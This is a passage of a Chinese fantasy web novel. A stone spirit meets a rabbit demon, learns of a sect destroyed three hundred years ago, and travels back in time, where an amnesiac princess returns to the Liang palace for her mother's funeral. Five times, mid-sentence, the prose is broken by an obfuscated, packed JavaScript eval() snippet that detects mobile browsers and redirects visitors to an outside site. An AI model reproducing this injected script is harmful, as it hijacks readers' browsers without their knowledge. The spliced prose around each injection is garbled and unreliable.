“这是做什么?!” “捉妖。” 兔妖红彤彤水汪汪的小眼睛可怜巴巴看着我,肥短的后腿正有八趾。 我怪叫一声:“好啊,原来是你,可算被逮住了!” “仙人饶命,我只是去庄子里找些吃食,从没伤过人啊。”兔妖求饶。 我一手揪起它一只耳朵:“看我宰了你做兔头汤。” 狠话是这么说的,但众所周知,时至今日,我依然连一只鸡都不曾亲手杀过…… 我心里劝慰自己,既然是要杀魔的石头,杀只兔子有什么好怕的,就当练手了! 回到卫家小屋,我磨刀霍霍向兔妖。 一边磨刀,我一边在想,要说长暮这眼睛还真神了,说是看不见,捉妖还挺好使的,兔子精这么蹦跶的妖怪都能一把捉住。 刀在石阶上磨,兔子精在旁边的笼子里瑟瑟发抖,模样看上去有积分可怜。 “别抖了!”我吼他一声。 “嘤……仙人妹妹,就不能饶我一命吗?” “喊谁妹妹呢?咱俩都不是一个品种!” 我火噌噌的,提刀站在笼子前。 这竹笼子是长暮变出来的,捉住兔妖之后,他失了兴致,让我自行处理,自己又回房间打坐去了。 兔妖扒着竹笼的围条小心瞧我。 “好啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660316|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,原来不过区区石头精,同是小妖,你何苦非要取我性命!” 兔妖收起呲出的白板牙,两条肥腿一伸,咚地坐到地上了。 也不知道被他哪个字戳中了心弦,我想是啊,同为小妖,我何苦取他性命呢?拿着柴刀,我也在石阶上坐下了。 隔笼相望,看到兔子精红彤彤的眼睛,我竟心有戚戚然。 “你、你不杀我了?”兔子精试试探探地问。 我两手撑在身侧,偏头看过去:“不杀了,你说得对。” “那你把我放了!”兔子精理直气壮。 得寸进尺!我没理他。 心头涌起淡淡的悲伤感受将我笼罩住了,我知道这叫物伤其类。 我忽想起了遥远万妖城里的蟾蜍精,不知她现在过得可好,若是一切顺利,她该在那里有一席容身之地了吧。 兔子精:“喂……喂……” 我突如其来的多愁善感被猛地打断,我很恼火,恶狠狠警告道:“再喊就把你做成熏兔腿。” 兔子精一缩脖子,片刻,又问:“你这石头精……是不是还有个杀魔的名头?” “如何,怕我杀得了魔杀不了你?”我盘起腿,靠在撑起房梁的柱子上。 今夜有月,正上中天,月辉洒在石板铺就的院中,冰冰凉凉。 兔子精目瞪口呆:“想不到你真杀魔了啊,早知当年我与你一同上路,去瞧番热闹也好。” 我看了他半天,惊道:“你是……兔小八!” “正是正是,”兔子精点头如捣蒜,“你还记得我,那萝卜不算让你白偷了。” 兔小八是谁?这要从当年在卫家庄的日子讲起。 在卫家庄那十年日子也不是那么好过的,时常吃不上饭,每到这时,我就会进山挖山萝卜。 说是挖,实则是偷。 山里有窝兔子精,找的山萝卜又脆又大又多汁。她们在前面挖,我就跟在后面偷,我记住了她们藏萝卜的老穴,偷了整一季的山萝卜也没被发现。 后来才知道不是没被发现,是兔子娘故意放过了我。 她说乱世人比妖贱,那小小人要拿些萝卜就让她拿去吧,萝卜拿走了,山还在这里,只有她们兔子精才能找到最好吃的山萝卜。 我问兔小八,兔子娘她们现在在哪。 “我娘死了。” “那你姊妹们呢?” “都没了,怎么没的都有,现在就剩我啦。”兔小八打个哈欠,揉揉眼睛。 我没再问原因,这是如今的世道下最寻常不过的事。 此情此景,我又想起卫二娘,不知她投了好胎没有,等明日见到土地婆婆,我定要问上一问。 聊到这里,我和兔小八都没话了,隔笼相对,相顾无言。 半晌,兔小八说:“你把我放了,我再不去田里偷了。” 我把他从笼子里提出来。兔小八蹦到院中,摇身一晃,变成了粉衣少年,肤白唇朱,明眸善睐。 我腾地站起来:“你怎么不跟我一样高了?!” “我长大了啊,你怎么一点都没长?” “我……我就不长!睡觉去了,你自己好自为之!” 我一阵心虚,走进房间关上了门。 我也不知自己在心虚什么,兔子能长大,可石头长不了,一点都长不了! 盆里清水映出女童经年未改的脸,我看了会儿,心念一动,摇身变成我最熟悉的女子模样。转身去长暮那里招摇一番。 11. 重游(四) 烛火摇动,我在长暮面前转了个圈。 “如何?” 黄的光在长暮脸上跃动,覆眼白纱被放在一边,他睁开眼,我与那双淡漠的眼对视,他说:“我看不见。” “可你能捉妖。” “需要用肉眼看的我都不能见。” “啊?”我失望,扯了扯衣裳上的带子,也没有变回去。我问长暮:“那你眼睛什么时候才能好?” 长暮回了我三个字——不知道,然后把我赶了出去,说我打扰他休息了。 我在门外气得踢了脚门,夜已深了,兔小八变回兔子在笼子里呼呼大睡,我也困了,拍拍脸回房睡觉。 第二天睡到日上三竿,我起床到村头馒头铺顺了个大白馒头,边啃馒头边往半山腰的土地庙去。 在香火熏燎的那土地庙里,我听说了一个三百年前的故事。 这个故事和三百年前,人间界的一场浩劫有关,要想把故事说明白,却要从更遥远的过去说起。 传说在很久很久以前,南海之滨升起了一座灵山。这座山名叫有虞山,因有驺虞[1]生于山间,所以得了这个名字。 时间过去太久了,传说里的神兽早不见了踪迹,有虞山还在,因为山间灵气旺盛,尤其适宜修仙问道。那些年岁里,有虞山的名头大大盖过别的灵山,是在人间鼎鼎有名的修道福地。 “当年好些宗门争抢,打来打去,后来是让藏天门占了有虞山作道山。” 土地婆婆翘着腿半躺在房梁上喝酒,腰间的彩络子被拿在手里把玩,她扯起一个笑:“藏天门那帮道貌岸然的老不死,如今想是都身死道消了罢。” 我并不清楚这些事,故而没有接话。 土地婆婆继续说:“真是好死,以为占了有虞山的好处就能得道升仙了?哈,只恨没亲眼看到那一幕……” “哪一幕?” “藏天门三百年前灭门了,你知道是谁干的吗?” “不知。” 土地婆婆露出一个嫌弃的表情:“你这石头岁数不小,忒没见识。” 我有求于人,自然要虚心求教,这些奚落的话我都大度吞下:“是是,我没见识,请仙人指教。” 土地婆婆声音悠悠的:“只因长暮。你总该知道长暮的名头吧?” 我不擅长掩饰,只能两眉抽动,试探地问:“那个魔?” “正是,”土地婆婆说,“长暮与藏天门一役后,藏天门满门被屠尽,后来有虞山改了名,就是你要找的有无山。” 我恍然:“所以我应该寻路有虞山。” 一阵烟气悠悠而上,是新燃的香,庙里跪在蒲团上的人又换了,说的话却相似,无非是些求妖魔邪鬼不近身,家里能有几天太平日子之类的说词。 土地婆婆眉头一蹙,待蒲团上跪拜的村民离开后,翻身落到地上,从泥塑的菩萨身后揪出一只正在偷舔灯油的耗子精。 耗子精贼眉鼠眼,长着两撇八字胡,看起来是熟人了,一被揪住就跪了下来。 “土地饶命,我实在饿慌了才来偷油吃,下次再不敢偷了。” 土地婆婆捻了捻手指上沾的灰,说:“你们鼠精消息最是灵通,我问你,人间修道者现在多居于何处?” “早两年修妖修道的都往南边跑了,后来听说在南边修道的和万妖城打了一战,现在怕是没几个修道的了。” “如今人间已无人向道了么?”土地婆婆有几分怔然,“原来是我在山中不知岁月,孤陋寡闻了。” 我跟着从房梁上跳下来:“和万妖城开战?谁打赢了?” 鼠精啧啧摇头:“听说双方都伤亡惨重。” 我一时无言。 在我离开万妖城后还发生了这样的事?蟾蜍精如今还好吗? 土地婆婆走到庙门边抬头观天,弹指,山间浓云密布,一场山雨落了下来。今日不会再有人来了。 坐在香火缭绕的蒲团上,我听土地婆婆说了下面的故事。 三百年的人间界还不是这样的。 “我活着的时候……不,就是三百年前的时候,世间灵气还没衰竭到这般地步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660317|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那时天地间妖魔多,嚷嚷着要斩妖除魔之人也多,对,这就是那帮修道的最乐意干的事。” 土地婆婆站在泥塑的菩萨前自言自语,我观那菩萨面容慈祥,与她无半分相像之处。 土地婆婆眼看有了几分醉意,手拎起腰间的彩络子,一甩一甩。 “那时我还是白家的女儿,一心向道,想拜入有虞山的藏天门,家里不许,便作了罢。” “不过三百年,人间界大乱,藏天门灭门了,如今连道都无人修了,哈哈哈,”她拍案大笑,“天道如此,天道如此啊。” 天道,我默念一遍,问她:“天道是什么?” 土地婆婆倚在供桌前低眉看我。她这回没笑我无知。 她说:“人有人道,妖有妖道,鬼有鬼道,人借天地灵气修道,却妄图诛尽世间妖邪,这便是违了天道。” 我是石头精,在人间界摸爬滚打这些年,自然知道凡人视妖邪如仇,恨不得能杀之而后快。寻常凡人杀不了妖,于是就有了修道者。 土地婆婆掬起彩络子上坠着的红羽,满目爱怜,爱之深,从中生出了恨。她攥紧红羽。 “世人求我如仙,仙又何曾怜我?” 她眼中有泪,仰头望着泥菩萨,菩萨身上彩衣斑驳,眉目慈悲,不过又是一个在菩萨前发了疯的人。 我听不懂她的话,但我知道了,有无山就是曾经的有虞山。 三百年前,我还是山中一颗不晓世间事的石头,到了现在,我悲伤地发现,我还是一样无知。 土地婆婆醉倒在她的菩萨像前,最后同我说,若是想要寻到有无山的所在,必须得回到三百年前。 我记下了,回去卫家老屋,进门,闻见空气里浓浓的血腥味,像刚捅死了一头野猪。 兔小八缩在柴垛旁瑟瑟发抖,任我怎么叫也不出来。 我推门进屋,屋子里如同我出去时一般一尘不染,长暮一袭白衣伫立窗前,说他想起来了。 我问他想起了什么,他回身静静看我,说三百年前的事,他想起来了。 12. 再始·溯洄河 在北境,靠近幽都鬼域的地方,有一条河名溯洄。 溯洄河蜿蜒环绕着鬼域的外沿,河面常年雾气丛生,河道狭窄,水流湍急,仅容两船交臂而行,由此河溯洄而上,可窥往世。 长暮眼睛好了,也想起了从前的记忆,他说他三百年前受了伤,有很多事记不清了,最近伤好才想起来一些。 三百年间,他一直在做一个清醒的梦,梦里有声音告诉他,当他醒来,就能舍掉这条命了。于是他醒来,得知了杀魔石的名头。 我问:“为什么要舍掉你的命?” 长暮思索着,慢慢说:“我等了一个人很久,她不曾来,还将她的命给了我,我要把命还给她。” 我问他那个人是谁,长暮答不上来,只说是一个很要紧的人。 “她死的时候,我心疼得像随之一并死去了,可她给了我无穷的寿数。” “君生之初,世如长暮,”长暮惨笑,“她要我永远活在那夜里。我欠了她的。” 长暮脸上的表情很复杂,痛苦又欣喜。 我问:“你在高兴什么?” “我想起了她,没像她说的把她忘了。” “可你又很痛。” 我又不懂了。 我变成石头,让长暮带着,一路风餐露宿,赶到了溯洄河边。 蒙蒙的雾天,走近了,河水从雾中显出轮廓。我是生于河边的石头,十分亲近活水,一见那绿水便心生亲切。 河边立着一块石头,青苔覆身,看起来毛毛的,青苔爬满石头上刻字的纹路,上书——“溯洄河中莫溯洄”。 我问石头那是什么意思。 石头里传出一个苍老的声音:“是告诫你们,莫下溯洄河。” “我们有要事,需得回去看看。” 青苔石默然。 我看它不再说话,也不像要阻拦的意思,躬身一礼:“石头前辈,若无别事,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660318|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们便去了。” 转身,青苔石在身后说:“我观你两人情缘匪浅,余孽未了,即便溯洄从前,亦无法改变已发生之事,何苦?” 我转回去看着它:“你怎么看出来的?” “我能看到石头的心。” “石头没有心,魔也没有心,我们都不是人,石头前辈你看错了。” 无视青苔石不痛不痒的告诫,我与长暮投身溯洄河的逆流中。接触到河水的瞬间,我感觉到一股难以承受的剧痛,像是要把心肝脾肺一并搅碎了一般,但石头什么都没有。 长暮告诉我,所念一处就能落在一处,溯洄河要带我们去往的时间,是三百年前的梁。 我问要如何找到他,尚未听见回答,他的身影已被汹涌河水吞没。 我陷入黑暗。 “元吉二年,梁后怀胎九月,于夜孪生一女一子,时天生异象,荧惑守心,视为大不祥。” ——《梁书》 13. 梁后(一) 三百年前。 有虞山。 母亲死了,在半个月前的某天,我从北地来的信使那里听闻这个消息。 那时我正抱着木盆跟绿朱去山下溪边浣衣,慌张的马蹄声在大门外停下,信使一路风尘翻身下马,高举手里明黄的卷轴,扬声喊道:“仁惠皇后殁了!请公主速速奉旨回京!” 门房里,青衣小道探出头来。 很快,信使被迎上正殿,接着,那道明黄的圣旨送到了我的手里。 圣旨是当今大梁天子的旨意。梁王是我的父亲,而仁惠皇后——前不久身故的梁后,是我的母亲。 我将辞藻繁复的圣旨放在一边,打开随圣旨的一封信,清俊秀丽的笔迹写着——“阿母亡矣,我心忧甚,吾妹堪归。” 落款,萧。 上年岁末,梁朝在昆仑丘修道的长公主梁葛生了一场大病,药石无医,几乎要送了命,梅雪上师做主,将人送往东南有虞求医。 我从满身的疼痛中醒来时就是在有虞山了。 听到窗外的鸟叫声,我伸出手,那手出人意料地瘦弱,腕骨竟如薄纸片一般。 病好了,我失去了所有的记忆。梅雪上师说有得必有失,如今我捡回一条命,过去的事忘了就忘了吧。 好在还有绿朱。 绿朱说她从小跟着我,一路从梁京到昆仑丘,她告诉我,我是梁朝的公主,六岁前往昆仑求道,迄今已十年。 我身体一直不好,在昆仑时没法学那些舞刀弄剑的功夫,只潜心在阁中做些书本上的学问。去年冬,我在书阁誊录完书卷后呕血不止,昆仑无医可治,只能送去东南有虞山求医。 听绿朱说起这些事,像是在听别人的故事,我什么都记不起了,不管梁京还是昆仑丘,对我来说都像是第一次听说的地名。 绿朱很是担忧我,梅雪上师请有虞医圣凤尽寒再次为我诊脉。 这位传闻中鼎鼎有名的医圣一副弱不胜衣的模样,看起来比我更像病人,一手攥着帕子,另一手按在我手腕上。 诊了有半炷香的时间,他额头冒出细密的汗珠,嘴唇惨白,我心说我这病怕不是没救了。 “我……诊不出来。” 凤尽寒说完以帕掩唇一阵大咳,咳完气若游丝道:“你的脉象已恢复正常,我亦不知你如何会失去记忆。” 他看起来有些羞愤。 我心想这不世出的医圣也是个顶顶耿直心肠的人啊,没等我宽慰他几句,他就借口离开,脚步慌乱地走了。 而后就是长时间的修养,我的身体一日好过一日,除了那些缺失的记忆。 大梁皇宫的人听说公主大病初愈,随圣旨送来了几车珍奇补品,两日后陆续抵达有虞山。 我现在身体已好,用不上那些大补的山参鹿茸,就权当药费,都留给了凤尽寒。 既是母亲故去了,我理应回梁京服丧。收到圣旨的那夜,我同梅雪上师对坐,她温盏烹茶,杯茶饮尽,她用杯底残茶为我卜了一卦。 “凶也。” 她望向我的眼睛。 “如此,还要回去吗?” “仁惠皇后是我的母亲,哪有母亲亡故,女儿不去奔丧的道理?” 梅雪上师摇头:“仁惠皇后当年让你认我为师,和我说过一番话,她希望你‘此生不返梁京’。” “为什么?” “你出生即带大凶之兆,周岁起卦,说你年十六有大劫,寿终不满二十。生于梁宫是你凶之始。” 梅雪是当年梁朝钦天监监正,是她将我从大梁皇宫带回昆仑丘。 她说:“你此番回京,必有大难。” “难在何处?” “我卜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660319|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出来。” 梅雪默然,我亦默然。 我说:“母亲亡故,纵使大难临头,我非去不可。” 我定下了返京的日期,有虞山山明水秀,正是春寒散去的季节,而我要回去梁京了。 绿朱和我一起回去,看起来心情不错,虽然不敢在我面前宣扬,收拾衣物时能听见她在轻声哼歌。 她说梁宫是天底下最好的地方,比什么昆仑丘有虞好得多得多,梁宫的未央湖边栽着一排垂柳树,如今正是柳树生芽的时节,微风过处,垂柳摇曳,生动极了,我要是回去那里,一定不会再生病。 她一直以为我身体不好是昆仑丘苦寒的原因。 说来也怪,我的身体一天天好起来,初春河鱼肥美,我最近连脸也吃得圆润不少,手腕也不再瘦如纸片了。 三月初,我跟随马车行列北上,离开前梅雪上师给了我一个锦囊,说不到万分情急之时不可打开。 “你回去凶多吉少,这锦囊只能保你一次命。若你能活过二十,我和你再续师徒前缘,不然相送也只是徒增伤感罢了。” 她没来送我。 我在山门前三叩首,拜别我师。 凤尽寒站在山门边冷冷地看我磕了三个头,说还会再见的。 “你的礼我收下了,只望你下次莫要让我难办。”他说。 我一月中到有虞,昏迷不醒,凤尽寒受梅雪所托,衣不解带地救治我半月才留住我的命。我的命是他救的,现在像是要送命去,我也有些难为情。 我说我一定小心自己的命。他拂袖而去。 就这样,烟花三月里,我离开了有虞山,一路风尘,四月初,我终于抵达了梁京,那是仁惠皇后薨逝的一月后。 春风如诉。北地浩荡的春光里,梁京青灰的城墙骤然在我面前显现,城门洞开,长街缟素。 14. 梁后(二) 我见到了绿朱口中的未央湖,湖边垂柳已长得茂密,像路过宫眷头上繁复的发髻。 仁惠皇后的梓宫停灵在殡宫,未央宫中只余衣冠供人祭拜。我未见到她的遗容,记忆里也不曾有她的样子。 我不知道我与母亲竟长得如此相似,她身前的大宫女苏氏一见我便哭得快昏了过去。 “皇后病时一直念着公主的名字,公主来晚了!” 她拉着我的手泣涕涟涟,我有心安慰她,不知道该说什么,只能抚着她微驼的背。 宫殿里暗无天光,熏着厚重的沉香,透过沉香与纸烛燃烧的气味,木砌的大殿里还萦绕着一股苦涩的药味。 忧思成疾,久病不愈,终年的药味已渗进了殿内四方的木头柱子里。 仁惠皇后是病逝。 我问苏姑姑是什么病,病了多久,苏姑姑说去年底,昆仑丘的消息传到了宫里,说公主怕是不好了,皇后听说后茶饭不思,加上天冷,犯了急症,太子侍疾一月,终归还是没好起来。 偏殿黑压压坐了一片黑袍道士,诵经声吵得人头昏。 我闻言宽慰了苏姑姑两句,然后带着绿朱回去。 我现今住在东宫。那日马车从东华门入梁宫,经侍卫盘查后,径直带我到了现在住的地方。 这座宫殿入门的庭院里栽着一棵高大的白树,流苏正值花期,冠盖如雪。 我被带到了东宫。 他人却不在。 梁萧,我的亲生哥哥,随圣旨而来的那封信正是他写给我的。 我对这个哥哥毫无记忆,记不起曾经在梁宫的日子,昆仑丘的经历也忘了。 晚上梳洗时,我望见水盆里的脸。 为什么要我‘此生不返梁京’?这里藏着什么连梅雪上师也无法说清的东西? 梅雪上师说:“如果你执意回去,那这就是你的命。” 我如同再度出生一般遗忘了所有记忆,我的命,又是什么样的命? 我原本以为这些都是需要花费很多时间去寻找的谜底,却不想,我很快听说了那个预言,那个关于我出生的预言。 未央湖边,微风拂柳,湖光轻漾,两个小宫女在树下说闲话。 “听说了吗?那位已经回宫了。” “谁?” “仁惠皇后生的那个公主啊。” “不是说不让公主回来吗?” “总得回来扶丧的呀。” “你难道没听说过那句话吗?” “啥?” “此女多凶,世道丧于此啊!宫里本来就不太平了,她一回来别把什么灾星都带来了!” “这话都敢瞎说!小心被主子听见,拔了你的舌头!”另一位宫女捂她的嘴。 安静了一会儿。 两个梳着双平髻的人头凑在一起。 “我听说公主出生的时候让人算过,大凶的命格,所以才远远地赶走了呢。” 叹气。 “天可怜见,公主回来了,贵妃也要成了未央宫的新主子,宫里的日子难过喽。” “让你别瞎说还说,谁说贵妃一定能进未央宫?不和你乱嚼舌根了,我走了。” “欸?姐姐!等等我一起走嘛!” 眼见两个窈窕的身影走远,绿朱气不过要上去理论,我死死扣住绿朱的手腕,将她拉回东宫偏殿。 “公主!”绿朱气得拳头攥紧了,“为什么不让我去赏那两个碎嘴子几巴掌,敢在宫里传这种闲话,真当公主好欺负吗!” 看见绿朱这气急的模样,我失笑:“你管得了今天遇到的两张嘴,难道还能管天底下千千万万张嘴?” “我才不管那么多,让我遇见我就揍她!” 在昆仑这些年,绿朱耳濡目染学了些功夫在身上,倒是比我强上许多。传闻昆仑丘苦寒,怎么耳濡目染出这么个火爆的性子? 我心下好笑,对绿朱说:“你先去打听打听,她们说的是怎么一回事。” 绿朱随我离宫时年纪尚幼,对宫里的传言也一知半解。 她领命离去,走之前我再度叫住她:“在宫里不准随便揍人。” 绿朱跺脚。 “知道啦!” 绿朱走后,我在房间里独自坐了会儿,提着桌上茶壶倒了杯茶。我下午不在房间,桌上j茶水一直是温热的。 喝了口茶,我走到窗边,推开窗户,窗外,高大的芭蕉叶投下树影,叶下的泥土露出新翻的痕迹。 接引我入宫的吴公公告诉我,梁王如今正潜心问道,暂由太子东宫代理国事。皇后薨逝,太子殿下按礼制在城外守灵,他忧心我舟车劳顿,吩咐众人,等我在宫里安顿好了再去服丧。 事无巨细,他一一为我安排妥当。 我有一丝茫然。 绿朱告诉我,我六岁离宫之前与哥哥同住未央宫,在未央宫的那段时间,是神仙一样的日子。 “六岁那年,我跟一群小宫婢一起被带到未央宫,只觉得到了神仙妃子住的地方。我连头都不敢抬一下,跪在殿里。娘娘走到我们面前,挨个问年纪多大,哪天出生的,家里人何在,我告诉娘娘我是元吉二年生的,又说了出生的日子,娘娘点头,说正好比永安公主早两日,瞧着是个有福气的,于是选了我当公主的贴身婢女。” “我心里又惊又怕,跟我一起来的人都退下了,只剩我在殿里,娘娘倚在榻上打香篆,让我在一旁候着。我垂头站在一旁,偷偷看去,娘娘挽着浅颜色的臂纱,手里捏着小铜杵轻敲,我真以为自己见到神仙了呢!” 午后日光穿过水殿风帘,整座未央宫卧在蝉鸣中。 鹅梨香燃至一半。 忽而细密银铃声打破静谧,午睡将醒的公主脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660320|156720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步匆忙穿过殿中,一头扎进身坐高堂的华服女子怀里。 “母妃抱……”孩童揉着眼睛,浓浓的鼻音。 女子将她搂到腿上坐着:“阿葛睡够了吗,怎么没和哥哥一起来?” “想母妃抱。” “不梳头就出来了,哪里有公主的样子?” 公主该是什么样子的? 责备的话反而带笑,女童于是肆无忌惮,伸出裙子下的左脚,光光的,没穿鞋。 女子与她大眼瞪小眼。 “鞋子哪里去了?” 这时,老宫女才拿着小小的鞋子从殿外追来:“哎哟我的公主,刚一睡醒就往这里跑,鞋子跑丢在院子里,老奴去捡鞋子,一回头人就跑不见了。” 皇后摸着女童未梳理的长发,用没戴护甲的手指慢慢理清,温声说:“阿葛是不是又做噩梦了?梦都是假的,母妃在这里,阿葛不怕。” 阿葛不怕。 阿葛。梁葛。 夜半风动,我从风打竹叶声中睁开眼睛。梦是真的。 “我梦到哥哥不见了,只剩下阿葛一个人……” 女童埋头在女子怀里不肯起来。 她的后脑袋被女子轻柔抚着。 “阿葛不怕,那我们去看看哥哥在做什么好不好?” “好。” 孩子穿上鞋,皇后牵着她走到殿下侍立的小宫女面前:“这是你以后的贴身宫女。今日花开柳映红,以后便叫绿朱吧。” 绿朱拜谢。 皇后牵着孩子走过小花园,花圃里植着不同颜色的花,花园一角,一颗低矮的小树抽生了枝条,开出细白的花。 她们走过游廊院落,走到偏殿,殿外宫女的行礼被女子示意止住,她让身后的众人不要跟随,牵着孩子,脚步轻轻地走入房中。 另一个孩子还在梦中,白瓷一样的侧脸,下颌处有一道刚愈合的口子,柔红的嘴唇微张,缓慢吞吐着气息。 女子伏在女童耳侧轻声说:“看,哥哥还在这里对不对?” 女童点点头,放开母亲的手,踢掉鞋子爬上床。一样大小的两只手牵在一起,片刻间就都睡去了。 女子在床边坐下,微笑的目光看着两个孩子,轻轻打着团扇。 窗棂半掩,窗外芭蕉叶遮下夏日午后一片凉。光阴旧梦。 怎么会忘了呢? 我也不明白其中的原因。 可是忘记了就是忘记了,梦里看到的这些记忆,只是旁观,我的母亲,我的哥哥,未央宫里孩童的回忆,都被我忘记了。 母亲知道这一切会很难过吧,她的病有几分是因为对我的忧思呢? 我在漫长的夜里无法再入眠,心里竟生出几分怯意。 他也知道了吗? 哥哥也知道我都忘了吗? 他一定知道了吧。 15. 梁后(三) 到梁宫的第三日,我换上为我备好的斩衰,让绿朱用生麻给我扎好丧髻,请求吴公公带我去往城外殡宫。 “公主折煞老奴了,”老太监苦笑连连,“车马早已备妥,请公主移步吧。” 扎着白绸的马车从梁宫正门驶出,车轮碾过梁京的朱雀主道。 除了车轮的声音,只有风声,隔着车帘的缝隙,我看见街上一片肃穆,到处扎着白布。 绿朱坐在我身边,声音低低的:“娘娘病逝,梁京的子民都很哀痛呢。” 我默默的没说话。 绿朱说:“早年梁京也闹饥荒,娘娘携一众高官内眷捐了金银首饰,后又开城门亲自布粮。” “娘娘是大梁最贤明的皇后。” 我听着绿朱低低的絮语,她也按制穿上了丧服。光是到宫里这两天,她已经听说了不少消息。 如今的梁王,我的父亲,是大梁开国皇帝的次子,高氏是他还是王爷时的王妃。后来老梁王的儿子死光了,只剩下最后这个儿子,不得不把皇位交到这个儿子手里。 于是最不被看好的小王爷变成了新任的梁王,小王妃也跟着成了皇后。绿朱知道我都记不起来了,细细地讲给我听。 我一边听着,马车已驶过了城门,城外风声更喧嚣了。 归云寺。 寺庙匾额上三个如云飘逸的墨字是仁惠皇后所题,仁惠皇后的尸身就停灵在此处。 离寺门不远的地方有一片清浅的池塘,池塘边栽着槐树,树干粗壮,枝叶繁茂,是棵老树。 马车停在槐树下。 我下车,闻见寺里飘来的香火气息,心头一片平静。仁惠皇后高氏,闺名高行云,云归于此处。 隔墙升起青烟,透过砖红的墙,我像是看见了佛堂中跪在蒲团上的人影。 老太监先入寺中,又匆匆走出,朝我躬身:“公主,殿下在内恭候多时了。” 我点头,整理裙裾,两手端在身前,走过寺匾下的木门。 归云寺依山而建,沿着寺内石阶拾级而上,可见宝殿庄严的门房。烟火缭绕的大殿里,比丘尼围坐在旁侧低声诵经。蒲团上跪着一人。 他像是跪了很久,麻衣下露出的白缎如同雪一般,他人也如雪一般,静默地跪在昏沉的大殿里。 我怔怔看着。那背影给我一种恍如隔世的感觉,那人,却是我没见过的。 我走上前,在他旁边的蒲团上跪下。 殿上的观世音菩萨手持净瓶,慈目低垂,似是与我相望,我想她应当是不会怪我的。我并不虔诚,一无所求,我死去的母亲就躺在菩萨后面,我的心中却无一丝难过。 我从有虞山中醒来犹如世间的一缕游魂,把一切都忘了,但此刻,我的心在疼痛。从我踏进这间大殿,走到佛前,在他身边跪下,我心头疼痛愈剧,几近痛彻心扉。 我与此人命运相连。 倒下的那一瞬间,我恍然大悟。 * 侧脸枕在冰凉的布面上,那布有几分粗糙,是麻料的触感,一股错综的香味钻进我鼻子,被香火纸钱的烟熏味遮掩着,一点点清甜的味道渗出来,如同回到了童年的未央宫,那是梦里鹅梨香的味道。 我像被母亲抱在怀里,这已是不可能的事了。 我闭着眼,轻轻吸了口这香味,不敢惊动丝毫。 我缓慢地睁开眼睛,我正被人抱在怀里,他的手轻轻搭在我身上,呼吸静谧,犹在梦中。 望着这张脸,我试图找出梦中孩童的痕迹,他左边下颌处一道浅疤,让这张脸白玉微瑕。 鬼使神差,我伸手触向这道疤,在将将触及时,他浅闭的眼睁开了,我猛地收回手,推开这个怀抱。 是在寺院厢房里,屋子里陈设简单,一桌一榻一柜,桌上燃着灯,窗外已经黑了。 不知从哪漏进了风,桌上烛火摇动,梁萧坐在晃动的灯影里,看着我,像是一时不知道如何开口。 我连鞋也没来得及穿,站得离榻远远的。 良久,他说:“我是哥哥,阿葛不记得了吗?” 他哀伤的语气让我十分难过,我不知道此时心中的难过从何而来,也许是因为愧疚。 我对他十分愧疚,不敢看他的眼睛。 “地上凉,过来穿上鞋,然后我们一起去见母亲。” 他牵我到榻边坐下,蹲在我面前,给我穿上左脚的鞋,穿完一只脚又穿另一只脚,动作熟稔。 我这时才敢看他。 然后他牵着我,我们走出屋子,门外升起了月亮,四周的禅房静悄悄的,连草虫也销声了。我们从后门进入大殿,观音的影子旁落在身侧的地上,一道拉长的黑色的影子。 